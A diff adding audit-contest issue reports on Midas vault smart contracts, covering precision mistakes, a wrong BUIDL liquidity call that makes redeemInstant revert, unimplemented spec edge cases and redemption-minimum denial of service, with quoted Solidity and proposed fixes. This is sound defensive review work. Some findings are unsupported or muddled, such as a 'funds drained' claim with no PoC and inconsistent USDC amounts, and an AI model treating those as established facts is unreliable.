+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L383
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L383
+
+```diff
+ function _calcAndValidateDeposit(
+ ---- SNIP ----
+ )
+ internal
+ ---- SNIP ----
+ {
+ ---- SNIP ----
+
+ feeTokenAmount = _truncate(
+ _getFeeAmount(userCopy, tokenIn, amountToken, isInstant, 0),
+ tokenDecimals
+ );
+- amountTokenWithoutFee = amountToken - feeTokenAmount;
++ amountTokenWithoutFee = _truncate( amountToken - feeTokenAmount, tokenDecimals);
+
+ uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+
+ ---- SNIP ----
+ }
+
+```
\ No newline at end of file
diff --git a/001/137.md b/001/137.md
new file mode 100644
index 0000000..e8724dc
--- /dev/null
+++ b/001/137.md
@@ -0,0 +1,99 @@
+Acidic Walnut Lemur
+
+High
+
+# Incorrect `mintAmount` Calculation Due to Precision Mismatch in `depositInstant()` and `_approveRequest()` in `DepositVault` contract
+
+## Summary
+The `depositInstant()` and `_approveRequest()` function in the `DepositVault` contract does not handle precision correctly when converting the deposited amount into `mToken`. This can lead to incorrect `mintAmount/amountMToken` values, especially when the precision of the input token (`tokenIn`) differs from the precision expected by `mToken`.
+
+The vulnerability causes a $10 worth of an 18-decimal token to mint a significantly larger amount of `mToken` compared to $10,000 worth of USDC.
+
+## Vulnerability Detail
+The issue arises in the `depositInstant()` and `_approveRequest()` functions where the `mintAmount/amountMToken` is calculated by converting the deposited amount of `tokenIn` into USD and then into `mToken`. The conversion process assumes a precision of 18 decimals for `mToken`, but the `tokenIn` may have a different decimal precision (e.g., 6 decimals for USDC).
+
+And the code misses the scaling up the input token amount to the precision of `mToken`.
+
+- **Incorrect Scaling**: If the `amountToken` (input amount) has a different precision than `mToken`, and this discrepancy is not handled correctly, it results in an incorrect calculation of `mintAmount/amountMToken`.
+
+- **Precision Impact**: For tokens like USDC with 6 decimals, the calculation does not account for the precision difference, leading to inaccurate `mintAmount/amountMToken` values. This results in either an overestimation or underestimation of `mintAmount`, depending on the scaling issue.
+
+### 1. Precision Issue in `_approveRequest()`
+
+In the `_approveRequest()` function, the calculation of `amountMToken` affected by the mismatch between the decimal precision of the input token (`tokenIn`) and the `mToken` (which uses 18 decimals). This can result in an incorrect `amountMToken` value, affecting the token approval process.
+
+### 2. Precision Issue in `depositInstant()`
+
+In the `depositInstant()` function, the calculation of `mintAmount` affected by the difference in decimal precision between the input token (`tokenIn`) and the `mToken`. This could lead to incorrect minting amounts if the token has fewer decimals than `mToken`, potentially resulting in inaccuracies in the minting process.
+
+### 3. Precision Issue in `feeTokenAmount` calculation
+
+Similarly, due to the non-scaling issue mentioned above, the `Fee` is calculated based on the decimals of the input token in the `_getFeeAmount()` function. As a result, when calculating `feeTokenAmount`, the[ `_truncate()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L575) function is used to scale down the input value. This can cause further truncation of the already calculated fee, potentially reducing it inaccurately.
+
+### POC
+
+Let's take the `depositInstant()` function for demonstration.
+
+#### 1. Initial Setup
+
+Assume the following parameters:
+
+- `tokenIn` is USDC (with 6 decimals).
+- `amountToken` = `1,000,000` USDC (equivalent to 1 USDC in 6 decimals).
+- `minReceiveAmount` = 0 mToken.
+- Assume USDC to USD rate (`tokenInRate`) is 1 (i.e., 1 USDC = 1 USD).
+- mToken rate (`mTokenRate`) is `0.5 USD` per mToken (i.e., 1 mToken = 0.5 USD).
+
+#### 2. Calculations in `depositInstant()`
+
+**a. Token Conversion to USD:**
+
+
+ - `amountToken = 1_000_000` (USDC in 6 decimals)
+ - `tokenInRate = 1 * 10**18` (USDC to USD rate = 1)
+ - `tokenAmountInUsd = (amountToken * tokenInRate) / 10**18`
+ - Result: `tokenAmountInUsd = 1_000_000` USD
+
+**b. Fee Calculation (No Fee Due to Waived Restriction):**
+
+- No fee is applied due to waivedFeeRestriction
+- `feeTokenAmount = 0`
+- `amountTokenWithoutFee = amountToken - feeTokenAmount`
+- Result: `amountTokenWithoutFee = 1_000_000`
+
+**c. Convert USD to mToken:**
+
+- `mTokenRate = 0.5 * 10**18` (mToken rate = 0.5 USD per mToken)
+- `mintAmount = (tokenAmountInUsd * 10**18) / mTokenRate`
+ Here the precision of `tokenAmountInUsd` has not taken into account and its not scaled to match the presicion of `mToken`
+- Result: `mintAmount = 2_000_000` mToken
+
+#### 3. Precision Issue
+
+In the `depositInstant()` function, the calculation of `mintAmount` directly uses the `amountToken` with 6 decimals, but `mTokenRate` and `tokenInRate` are scaled with 18 decimals. This discrepancy leads to the following problem:
+
+- **Expected Value**: For 1,000,000 USDC, converting to `mToken` should yield `2,000,000 * 1e12` `mToken` based on the given rate.
+- **Actual Value**: Due to the precision handling, the actual `mintAmount` might vary slightly if the token’s decimals were not appropriately scaled, affecting the final minted amount, i.e., `2_000_000` mToken.
+
+This precision issue can lead to incorrect token issuance, potentially disadvantaging users.
+
+## Impact
+Incorrect precision handling can lead to:
+- Inaccurate `amountMToken` calculations in `_approveRequest()`, affecting token approvals and incorrect minting amounts.
+- Incorrect `mintAmount` calculations in `depositInstant()`, leading to incorrect minting amounts.
+- Sometimes `depositInstant()` will be reverted due to [`minReceiveAmount` check](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L106C9-L109C11).
+- Sometimes `depositInstant()` and `depositRequest()` are reverted due to checks in [`_validateMinAmount()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L286C9-L293C11)
+- The fee charged for a deposit will be extremely minimal.
+
+The issues can result in minting wrong amount of `mToken` and the users will not get enough token while redeeming token by burning `mToken`.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L319C9-L322C51
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L387C9-L390C35
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Adjust the calculations in both functions to handle decimal precision appropriately to prevent financial discrepancies. That means, scale the `amountToken` to 18 decimals before the calculation. And use `_truncate()` to convert to original precision when ever needed.
\ No newline at end of file
diff --git a/001/156.md b/001/156.md
new file mode 100644
index 0000000..bc428ef
--- /dev/null
+++ b/001/156.md
@@ -0,0 +1,113 @@
+Acidic Sapphire Hedgehog
+
+Medium
+
+# Inappropriate Token Transfer Destination in _redeemRequest Function
+
+## Summary
+The `_redeemRequest` function within the contract currently exhibits a critical flaw wherein tokens intended for redemption are erroneously transferred to the contract’s own address` (address(this)) ` instead of the designated `requestRedeemer` address.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L405
+
+## Vulnerability Detail
+```solidity
+_tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always has 18 decimals
+);
+```
+The `_redeemRequest` function is designed to handle the process of redeeming tokens from a user, including ` the redemption request and transferring the appropriate tokens. The function is intended to interact with the `requestRedeemer` address, which should manage the token redemptions. However, the current implementation transfers tokens directly to the contract's address (address(this)), bypassing the requestRedeemer.
+```solidity
+ /**
+ * @notice address is designated for standard redemptions, allowing tokens to be pulled from this address
+ */
+ address public requestRedeemer;
+```
+ From what the comment explicitly states, The` requestRedeemer` address likely serves as the account or contract that is authorized to handle the actual redemption of tokens from the contract. When a user requests to redeem tokens, the redemption process might involve transferring tokens from a user to this designated address, which then processes or facilitates the redemption.
+
+Instead of transferring tokens to the requestRedeemer, the function erroneously transfers them to the contract’s own address `(address(this)).`
+
+## Impact
+Incorrectly tokens transferred
+## Code Snippet
+```solidity
+function _redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ internal
+ returns (uint256)
+ {
+ address user = msg.sender;
+
+ bool isFiat = tokenOut == MANUAL_FULLFILMENT_TOKEN;
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+ ) = _calcAndValidateRedeem(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ false,
+ isFiat
+ );
+
+ address tokenOutCopy = tokenOut;
+
+ uint256 tokenOutRate;
+ if (!isFiat) {
+ TokenConfig storage config = tokensConfig[tokenOutCopy];
+ tokenOutRate = _getTokenRate(config.dataFeed, config.stable);
+ }
+
+ uint256 amountMTokenInCopy = amountMTokenIn;
+
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+
+ _tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always have 18 decimals
+ );
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+
+ uint256 requestId = currentRequestId.current();
+ currentRequestId.increment();
+
+ redeemRequests[requestId] = Request({
+ sender: user,
+ tokenOut: tokenOutCopy,
+ status: RequestStatus.Pending,
+ amountMToken: amountMTokenWithoutFee,
+ mTokenRate: mTokenRate,
+ tokenOutRate: tokenOutRate
+ });
+
+ emit RedeemRequest(requestId, user, tokenOutCopy, amountMTokenInCopy);
+
+ return requestId;
+ }
+```
+```solidity
+_tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always has 18 decimals
+);
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+```solidity
+_tokenTransferFromUser(
+ address(mToken),
+++ address(requestRedeemer) , // Correct destination address for redemptions
+ amountMTokenWithoutFee,
+ 18 // mToken always has 18 decimals
+);
+```
\ No newline at end of file
diff --git a/001/162.md b/001/162.md
new file mode 100644
index 0000000..c59d8c1
--- /dev/null
+++ b/001/162.md
@@ -0,0 +1,28 @@
+Acidic Walnut Lemur
+
+Medium
+
+# `_validateMinAmount()` Function in `DepositVault` contract Missing Implementing the validation of inputted USD amount >= minAmountToDepositInUsd
+
+## Summary
+The `DepositVault` contract's `_validateMinAmount()` function is designed to ensure that a user's deposit meets a minimum threshold, particularly for the first deposit. According to the code comment, this function should validate that the inputted USD amount is greater than or equal to `minAmountToDepositInUsd()`. However, the current implementation of the contract does not include this validation, which could lead to the acceptance of deposits that do not meet the required minimum amount.
+
+## Vulnerability Detail
+- **Missing Validation**: The `_validateMinAmount()` function is expected to check that the deposit amount in USD is at least equal to a predefined minimum amount (`minAmountToDepositInUsd()`). This is crucial for ensuring that deposits meet the minimum requirements set by the contract.
+- **Impact**: Without this validation, the contract may accept deposits below the required threshold, potentially undermining the contract's intended functionality and financial security. This could lead to issues such as:
+ - **Inconsistent Deposits**: Users may deposit amounts that do not meet the expected minimum, disrupting the contract's operational logic.
+ - **Financial Risk**: Accepting lower amounts than intended could impact the financial stability and security of the contract.
+
+## Impact
+- **Financial Integrity**: Ensuring that all deposits meet the minimum threshold is crucial for maintaining the financial integrity of the contract. Without proper validation, the contract may operate with inconsistencies that could affect its overall functionality.
+- **Contract Reliability**: The absence of this validation might lead to unexpected behaviors or errors during deposit processing, potentially impacting the reliability of the contract.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L277C1-L278C1
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Ensure that the `_validateMinAmount()` function is implemented to check that the deposit amount in USD is greater than or equal to the minimum required amount.
\ No newline at end of file
diff --git a/002.md b/002.md
new file mode 100644
index 0000000..979b017
--- /dev/null
+++ b/002.md
@@ -0,0 +1,40 @@
+Sweet Hickory Pangolin
+
+Medium
+
+# No Checks on Contract Balance at _tokenTransferFromUser for DepositVault contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L115
+Functions like _tokenTransferFromUser transfer tokens to the tokensReceiver, but there is no check to ensure the contract has sufficient balance to perform these operations.
+
+
+
+### Root Cause
+
+Lack of input validation.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Funds can be completely drained out of the contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Recommendation: Add checks to ensure the contract holds enough balance before attempting transfers, and consider implementing a withdrawal mechanism that allows only authorized users to withdraw tokens.
\ No newline at end of file
diff --git a/002/056.md b/002/056.md
new file mode 100644
index 0000000..bb65209
--- /dev/null
+++ b/002/056.md
@@ -0,0 +1,27 @@
+Mythical Ebony Nightingale
+
+Medium
+
+# Variation from The link pointing to invariants and the actual implementation
+
+## Summary
+A critical discrepancy has been identified between the specified requirements and the actual implementation in the RedemptionVaultWithBUIDL contract. The edge case handling and threshold adjustment mechanism outlined in the project documentation are absent from the codebase.
+## Vulnerability Detail
+"Redeem the full BUIDL balance in the smart contract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum). Make this 250k threshold a parameter that can be adjusted by the admin."
+
+However, an examination of the RedemptionVaultWithBUIDL contract reveals:
+
+1. No implementation of the full balance redemption when the post-transaction BUIDL balance falls below the specified threshold.
+2. Absence of an adjustable threshold parameter that can be modified by the admin.
+## Impact
+This omission leads to a significant deviation from the intended system behavior, potentially compromising the integrity of the redemption process and the management of BUIDL balances. It represents a breach of the system's stated invariants and could lead to unexpected outcomes in edge case scenarios due to the missing logic
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L159-L177
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+implement the mentioned functionality
\ No newline at end of file
diff --git a/002/060.md b/002/060.md
new file mode 100644
index 0000000..ab1e783
--- /dev/null
+++ b/002/060.md
@@ -0,0 +1,28 @@
+Mythical Grape Cow
+
+Medium
+
+# Variation from The link pointing to invariants and the actual implementation
+
+## Summary
+The specification document referenced in the project README outlines a specific edge case scenario and requests certain implementations. However, these requirements are not reflected in the current codebase, potentially compromising one of the system's key invariants.
+## Vulnerability Detail
+The project README directs attention to a specification document, stating:
+
+_Chapter_ (Special Contract Version) User can instantly redeem mTBILL for USDC pulled from BUIDL:
+
+**Edge case**
+
+- Redeem the full BUIDL balance in the smartcontract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum). Make this **250k threshold a parameter** that can be adjusted by the admin
+
+Upon examination of the `RedemptionVaultWIthBUIDL` contract, it becomes apparent that the edge case described in the specification is not implemented. Furthermore, there is no mechanism to adjust the threshold as stipulated in the requirements.
+## Impact
+unintended behavior and breakage of functionality when the minimum threshold is exceeded and not handled
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol
+## Tool used
+
+Manual Review
+
+## Recommendation
+implement the mentioned functionality
\ No newline at end of file
diff --git a/002/063.md b/002/063.md
new file mode 100644
index 0000000..b448fa5
--- /dev/null
+++ b/002/063.md
@@ -0,0 +1,26 @@
+Colossal Maroon Nuthatch
+
+Medium
+
+# Edge case mentioned in the notion link no implemented
+
+## Summary
+the notion link provided in the readMe Talked about an edge case and asked for some stuff to be implemented, although they are not implemented, breaking one of the invariants
+## Vulnerability Detail
+> [Product Requirements (Specifications). Please note that discrepancies between the spec and the code can be reported as issues](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf)
+
+
+
+quoting the above from the readMe
+![Pasted image 20240825172725](https://github.com/user-attachments/assets/ed63a058-5734-4c3c-8c18-3e2e33e77338)
+Now looking at `RedemptionVaultWIthBUIDL` there is no where in `redeemInstant` or `_checkAndRedeemBUIDL` the redemption of full balance when the edge case happen and no variable to be changed as the threshold
+## Impact
+invariant breakage, unhandled Edge case, leading to bugs when we pass the minimum and don't redeem full amount
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L179
+## Tool used
+
+Manual Review
+
+## Recommendation
+implement the mentioned functionality
\ No newline at end of file
diff --git a/002/067.md b/002/067.md
new file mode 100644
index 0000000..56df00c
--- /dev/null
+++ b/002/067.md
@@ -0,0 +1,46 @@
+Brilliant Pickle Frog
+
+Medium
+
+# discrepancies between the spec and the code 'redeem mTBILL for USDC pulled from BUIDL' Edge case
+
+## Summary
+
+The edge case of 'User can instantly redeem mTBILL for USDC pulled from BUIDL' isn't implemented anywhere in the contracts.
+
+## Vulnerability Detail
+
+Quoted from [(Special Contract Version) User can instantly redeem mTBILL for USDC pulled from BUIDL](https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17)
+
+> ### Edge case
+> - Redeem the full BUIDL balance in the smartcontract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum). Make this **250k threshold a parameter** that can be adjusted by the admin
+
+
+ ###### The edge case isn't implemented and should be implemented
+## Impact
+Not handling the Edge case
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+- Assign a state variable that can be adjusted by the admin With initial value of 250,000.
+```solidity
+uint256 Threshold = 250,000
+```
+
+- Create a setter function to adjust its value,
+```solidity
+ function setThresholdAmount(uint256 newValue) external onlyVaultAdmin {
+ Threshold = newValue;
+ emit SetThresholdAmount(msg.sender, newValue);
+ }
+```
+- and an event in the interface.
+```solidity
+ event SetThresholdAmount(address indexed caller, uint256 Threshold);
+
+```
+- Create an if statement to check for this edge case in the redeem function.
\ No newline at end of file
diff --git a/002/075.md b/002/075.md
new file mode 100644
index 0000000..98b614e
--- /dev/null
+++ b/002/075.md
@@ -0,0 +1,40 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# `RedemptionVaultWithBUIDL#redeemInstant()` does not work due to an incorrect function call
+
+## Summary
+[`RedemptionVaultWithBUIDL#redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) does not work due to an incorrect function call
+## Vulnerability Detail
+[`RedemptionVaultWithBUIDL#redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) allows eligible user to redeem `mToken` for `USDC`.
+If `USDC` balance in `RedemptionVaultWithBUIDL` is not enough, `BUIDL` token in `RedemptionVaultWithBUIDL` will be redeemed for `USDC` by calling `buidlRedemption#redeem()`.
+When `redeemInstant()` is called, `tokenOut` should be set to `USDC` by default, regardless its input:
+```solidity
+100: tokenOut = buidlLiquiditySource.token();
+```
+However, the incorrect function call will cause a revert, making `redeemInstant()` non-functional:
+`buidlLiquiditySource` was initialized in `initialize()`:
+```solidity
+70: buidlRedemption = IRedemption(_buidlRedemption);
+71: buidlSettlement = ISettlement(buidlRedemption.settlement());
+72: buidlLiquiditySource = ILiquiditySource(buidlRedemption.liquidity());
+```
+As we can see, the value of `buidlLiquiditySource` is `buidlRedemption.liquidity()`, while the address of `buidlRedemption` on Ethereum is [`0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53`](https://etherscan.io/address/0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53), and the call of [`buidlRedemption#liquidity()`](https://etherscan.io/address/0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53#readContract#F2) will return [`0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48`](https://etherscan.io/address/0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), aka `USDC`.
+Since `buidlLiquiditySource` is initialized to `USDC`, calling `buidlLiquiditySource.token()` will always revert.
+
+## Impact
+`RedemptionVaultWithBUIDL#redeemInstant()` does not work due to an incorrect function call
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L72
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100
+## Tool used
+
+Manual Review
+
+## Recommendation
+correct the wrong call in `redeemInstant()`:
+```diff
+- tokenOut = buidlLiquiditySource.token();
++ tokenOut = buidlRedemption.liquidity();
+```
\ No newline at end of file
diff --git a/002/090.md b/002/090.md
new file mode 100644
index 0000000..279d8a8
--- /dev/null
+++ b/002/090.md
@@ -0,0 +1,36 @@
+Winning Jetblack Salmon
+
+Medium
+
+# Incorrect `BUILD` integration in the `RedemptionVaultWIthBUIDL` contract.
+
+## Summary
+
+In the `RedemptionVaultWIthBUIDL` contract, the address of the `tokenOut` token is acquired incorrectly. It uses `ILiquiditySource.token()`, which is not present in the `BUILD` redemption contracts.
+
+The `tokenOut` address should be taken from `IRedemption.liquidity()`.
+
+## Vulnerability Details
+
+Only `IRedemption` is needed in the `RedemptionVaultWIthBUIDL` contract to acquire all needed addresses and to correctly redeem USDC tokens in exchange for `BUILD` tokens.
+
+As can be seen here: https://etherscan.io/address/0x31d3f59ad4aac0eee2247c65ebe8bf6e9e470a53#readContract#F2, the `IRedemption.liquidity()` is the `USDC` address that should be used as `tokenOut` in the `RedemptionVaultWIthBUIDL.redeemInstant()` function.
+
+Current integration done in the `RedemptionVaultWIthBUIDL` contract will not work with live `BUILD` contracts and will revert when calling `ILiquiditySource.token()` as there is no such view function in the `LiquiditySource` contract.
+
+## Impact
+
+Broken `RedemptionVaultWIthBUIDL.redeemInstant()` function.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L72
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100
+
+## Tools used
+
+Manual review.
+
+## Recommendations
+
+Use `IRedemption.liquidity()` as the `tokenOut` address in the `RedemptionVaultWIthBUIDL.redeemInstant()` function.
\ No newline at end of file
diff --git a/002/091.md b/002/091.md
new file mode 100644
index 0000000..eec72a8
--- /dev/null
+++ b/002/091.md
@@ -0,0 +1,40 @@
+Winning Jetblack Salmon
+
+Medium
+
+# Contradiction between the Specification and the Code in the `RedemptionVaultWIthBUIDL` contract.
+
+## Summary
+
+The `threshold` parameter and the associated functionality mentioned as an `edge case` in the specification (found here: https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17) are missing.
+
+The `BUILD` token is not redeemed in full if the `BUILD` balance is less than the specified threshold.
+
+## Vulnerability Details
+
+There is a missing functionality described in the specification: https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17
+
+```text
+### Edge case
+
+- Redeem the full BUIDL balance in the smart contract if the BUIDL balance will be less than 250k post-transaction (as 250k is the minimum).
+Make this **250k threshold a parameter** that can be adjusted by the admin.
+```
+
+## Impact
+
+Contradiction with the specification.
+
+As stated by the protocol in the README: `Please note that discrepancies between the spec and the code can be reported as issues`.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L172-L175
+
+## Tools Used
+
+Manual review.
+
+## Recommendations
+
+Update the specification or the code to be consistent with each other.
\ No newline at end of file
diff --git a/002/094.md b/002/094.md
new file mode 100644
index 0000000..177b559
--- /dev/null
+++ b/002/094.md
@@ -0,0 +1,93 @@
+Funny Vanilla Lark
+
+High
+
+# `RedemptionVaultWithBUIDL.redeemInstant` will always revert
+
+## Summary
+Issue: wrong liquidity source assigned in initialize function
+impact: Redeem instant that redeems BUIDL tokens for USDC will always revert, so High severity
+likelihood: always
+
+## Vulnerability Detail
+
+Line 106 from `redeemInstant` queries `buidlLiquiditySource.token()` which is USDC. But `buidlLiquiditySource` which is assigned on Line 76 below doesn't have the interface of liquidity that implements `token()`. The issue is in Line 76, where `buidlLiquiditySource` is assigned from `buidlRedemption.liquidity()` call.
+
+But, `buidlRedemption.liquidity()` returns USDC, not liquidity source. Check [here](https://etherscan.io/address/0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53#readContract#F2). Instead, it should have called `buidlSettlement.liquidity()` to get the liquidity source and the returned liquidity source implements the `token()` function that returns USDC.
+Check [buidlSettlement.liquidity()](https://etherscan.io/address/0x57Dd4E92712b0fBC8d3f3e3645EebCf2600aCef0#readContract#F2) and [buidlLiquiditySource.token()](https://etherscan.io/address/0x9ba14Ce55d7a508A9bB7D50224f0EB91745744b7#readContract#F4)
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100
+
+```solidity
+RedemptionVaultWithBUIDL.sol
+
+92: function redeemInstant(
+---- SNIP ----
+96: )
+97: external
+98: override
+---- SNIP ----
+103: {
+104: address user = msg.sender;
+105:
+106: >>> tokenOut = buidlLiquiditySource.token();
+107:
+108: (
+109: uint256 feeAmount,
+110: uint256 amountMTokenWithoutFee
+111: ) = _calcAndValidateRedeem(user, tokenOut, amountMTokenIn, true, false);
+---- SNIP ----
+162: }
+
+```
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L72
+
+```solidity
+RedemptionVaultWithBUIDL.sol
+
+48: function initialize(
+---- SNIP ----
+59: ) external initializer {
+---- SNIP ----
+71: _validateAddress(_buidlRedemption, false);
+72: buidlRedemption = IRedemption(_buidlRedemption);
+73: buidlSettlement = ISettlement(buidlRedemption.settlement());
+76: >>> buidlLiquiditySource = ILiquiditySource(buidlRedemption.liquidity());
+77: buidl = IERC20(buidlRedemption.asset());
+78: }
+
+```
+
+## Impact
+Redeem instant that redeems BUIDL tokens for USDC will always revert, so High severity
+likelihood: always
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L72
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L100
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L72
+
+```diff
+ function initialize(
+ ---- SNIP ----
+
+ ) external initializer {
+ ---- SNIP ----
+
+ _validateAddress(_buidlRedemption, false);
+ buidlRedemption = IRedemption(_buidlRedemption);
+ buidlSettlement = ISettlement(buidlRedemption.settlement());
+- buidlLiquiditySource = ILiquiditySource(buidlRedemption.liquidity());
++ buidlLiquiditySource = ILiquiditySource(buidlSettlement.liquidity());
+ buidl = IERC20(buidlRedemption.asset());
+ }
+```
\ No newline at end of file
diff --git a/002/098.md b/002/098.md
new file mode 100644
index 0000000..37c70ec
--- /dev/null
+++ b/002/098.md
@@ -0,0 +1,82 @@
+Muscular Jade Hedgehog
+
+High
+
+# BUIDL redemption may fail due to minimum redemption limit, causing the redeem of `RedemptionVaultWIthBUIDL` to DoS.
+
+
+## Summary
+
+BUIDL redemption may fail due to minimum redemption limit, causing the redeem of `RedemptionVaultWIthBUIDL` to DoS.
+
+## Vulnerability Detail
+
+According to the [specs](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=927832e82a874221996c1edcc1d94b17&pm=s), there is a 250k minimum redemption limit for BUIDL tokens.
+
+> Redeem the full BUIDL balance in the smartcontract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum).
+Make this 250k threshold a parameter that can be adjusted by the admin
+
+The limit is also documented here: https://www.steakhouse.financial/projects/blackrock-buidl.
+
+> However, shares cannot be sold back unless their total value is at least $250,000, or if an exception is granted.
+
+The issue is that when trying to redeem BUIDL token, the current implementation only redeems the amount required for this transaction, and it may very well be below minimum redemption limit, and would cause DoS. Example:
+
+0. There are 60k USDC and 1M BUIDL tokens in the contract in the beginning.
+1. User redeems 100k mToken, which is worth 100k USDC (ignoring fees for simplicity).
+2. Since there are 60k USDC left in contract, the contract tries to redeem 100k - 60k = 40k BUIDL to USDC.
+
+However, since there is a 250k minimum redemption limit, the redeem would fail.
+
+The correct implementation should be to redeem 250k BUIDL, and transfer 100k USDC to user. In the end, there should be 60k + 250k - 100k = 210k USDC and 1M - 250k = 750k BUIDL left in the contract.
+
+```solidity
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
